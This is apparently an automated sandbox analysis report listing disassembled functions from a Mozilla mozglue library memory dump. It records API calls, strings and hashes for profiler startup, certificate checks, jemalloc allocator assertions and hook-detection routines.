Function 6C5E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E54BE
__Init_thread_footer.LIBCMT ref: 6C5E54DB

Part of subcall function 6C60AB3F: EnterCriticalSection.KERNEL32(6C65E370,?,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB49
Part of subcall function 6C60AB3F: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60AB7C

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5E5516
GetCurrentThreadId.KERNEL32 ref: 6C5E556A
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5E55E6
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E5616

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetCurrentThreadId.KERNEL32 ref: 6C5E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5E567C
free.MOZGLUE(?), ref: 6C5E56AE

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5E56E8
GetCurrentThreadId.KERNEL32 ref: 6C5E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5E57CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5E5D2B
MOZ_PROFILER_STARTUP, xrefs: 6C5E55E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5E5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5E584E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5E5791
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5E5CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5E5766
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5E57AE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5E57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5E5AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6C5E5511
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5E5C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5E5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5E5B38
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5E5D1C
[I %d/%d] profiler_init, xrefs: 6C5E564E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5E5717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5E5749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E54A3
GeckoMain, xrefs: 6C5E5554, 6C5E55D5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5E56E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5E5BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5E5D24
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E54B9

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction ID: ef1e98c87b81248ddb23aa188723eb988797f73a8baa264f33edf250c48306f3
Opcode Fuzzy Hash: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction Fuzzy Hash: 8E2204B1A083009FDB00DF76C89465A77B5AF8B34CFE44929E94697B41EB31C858CB5B

Function 6C5E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5E6D26

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5E6D73
free.MOZGLUE(00000000), ref: 6C5E6D80
CertGetNameStringW.CRYPT32 ref: 6C5E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5E6E34
CreateFileW.KERNEL32 ref: 6C5E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E7103
free.MOZGLUE(00000000), ref: 6C5E7153
CloseHandle.KERNEL32(?), ref: 6C5E7176
__Init_thread_footer.LIBCMT ref: 6C5E7209
__Init_thread_footer.LIBCMT ref: 6C5E723A
__Init_thread_footer.LIBCMT ref: 6C5E726B
__Init_thread_footer.LIBCMT ref: 6C5E729C
__Init_thread_footer.LIBCMT ref: 6C5E72DC
__Init_thread_footer.LIBCMT ref: 6C5E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E73C2
VerSetConditionMask.NTDLL ref: 6C5E73F3
VerSetConditionMask.NTDLL ref: 6C5E73FF
VerSetConditionMask.NTDLL ref: 6C5E7406
VerSetConditionMask.NTDLL ref: 6C5E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E741A
moz_xmalloc.MOZGLUE(?), ref: 6C5E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5E7598
free.MOZGLUE(00000000), ref: 6C5E75AC

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C5E72C8
wintrust.dll, xrefs: 6C5E72CD
SHA256, xrefs: 6C5E6EC0
(, xrefs: 6C5E768A

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction ID: 7c3440adac99b1014c8e91628bc8a29a74e6f8d9b40e64efdb6c5a79ba706afd
Opcode Fuzzy Hash: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction Fuzzy Hash: 515207B1A003159FEB21DF25CC84BAA77B8FF4A344F104599E909A7641DB70AF84CF99

Function 6C610DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C610F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C610F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C610FB7
EnterCriticalSection.KERNEL32(?), ref: 6C610FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C611031
LeaveCriticalSection.KERNEL32(?), ref: 6C6110D0
EnterCriticalSection.KERNEL32(?), ref: 6C61117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C611C39
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C613391
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C6133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C613431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613437

Strings

MOZ_CRASH(), xrefs: 6C613950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C613793
MALLOC_OPTIONS, xrefs: 6C6135FE
Compile-time page size does not divide the runtime one., xrefs: 6C613946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C613A02
<jemalloc>, xrefs: 6C613941, 6C6139F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6137D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C613559, 6C61382D, 6C613848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6137A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6137BD

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction ID: ee184e266e5a633bb6b8285f9655a7a36ec9a2c6b824ebc70682003e8ed1328d
Opcode Fuzzy Hash: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction Fuzzy Hash: 32539F71A097018FC704CF2DC580615FBE1BF8A329F29C66DE86A9BB91D771E841CB85

Function 6C6334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EE2

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6361DD
Part of subcall function 6C636180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C63622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634157

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C636250
Part of subcall function 6C636180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C636292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C63484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634896
free.MOZGLUE ref: 6C63489F

Strings

, xrefs: 6C634CD2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction ID: 2ca07b900b94d151ac8b36b786330af89ac69a530e645b770ee4edcab2a2f014
Opcode Fuzzy Hash: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction Fuzzy Hash: ECF24D74908780CFC725CF29C08469AFBF1FF8A318F119A5ED98997711DB729886CB46

Function 6C5E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E671C
GetCurrentProcess.KERNEL32 ref: 6C5E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E672F
GetCurrentProcess.KERNEL32 ref: 6C5E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5E6A80
GetSystemInfo.KERNEL32(?), ref: 6C5E6ABE
__Init_thread_footer.LIBCMT ref: 6C5E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C5E6500
user32.dll, xrefs: 6C5E6526
nvdxgiwrap.dll, xrefs: 6C5E6513
_etoured.dll, xrefs: 6C5E64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5E6798
detoured.dll, xrefs: 6C5E64DA

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction ID: 5a6936e4d8cb3ca31897ef3904865142b16ceaff693a3e30c1573fef4d843559
Opcode Fuzzy Hash: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction Fuzzy Hash: 5CF1E170A0532D9FCB20CF25CC88B9AB7B5AF4A358F144299D909E3641DB31AA85CF95

Function 6C63C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C63C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E472

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: afca64c4bdea6fc73b57fb5fb823ed0553cb6b6917037302d1d58f0eec1ebd43
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DD33CF71E0022ACFCB04CFA8C8806EDBBF2FF49314F189269D959AB755D731A945CB94

Function 6C5FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C601695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C601770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C601A3E

Strings

~q]l, xrefs: 6C5FED10
~q]l, xrefs: 6C5FED13

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q]l$~q]l
API String ID: 3693777188-572885207
Opcode ID: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction ID: 490b7f4ec8ef2344de215da5526bf77e589b21f5abc4291a017a689732cb0b22
Opcode Fuzzy Hash: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction Fuzzy Hash: 50B32971E002198FCB18CFA8C990A9DB7B2BF49308F1582A9D559BB745D730AD86CF94

Function 6C5EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

<jemalloc>, xrefs: 6C5F0D62, 6C5F0D76, 6C5F0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4
: (malloc) Error in VirtualFree(), xrefs: 6C5F0D67, 6C5F0D7B, 6C5F0DAC

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
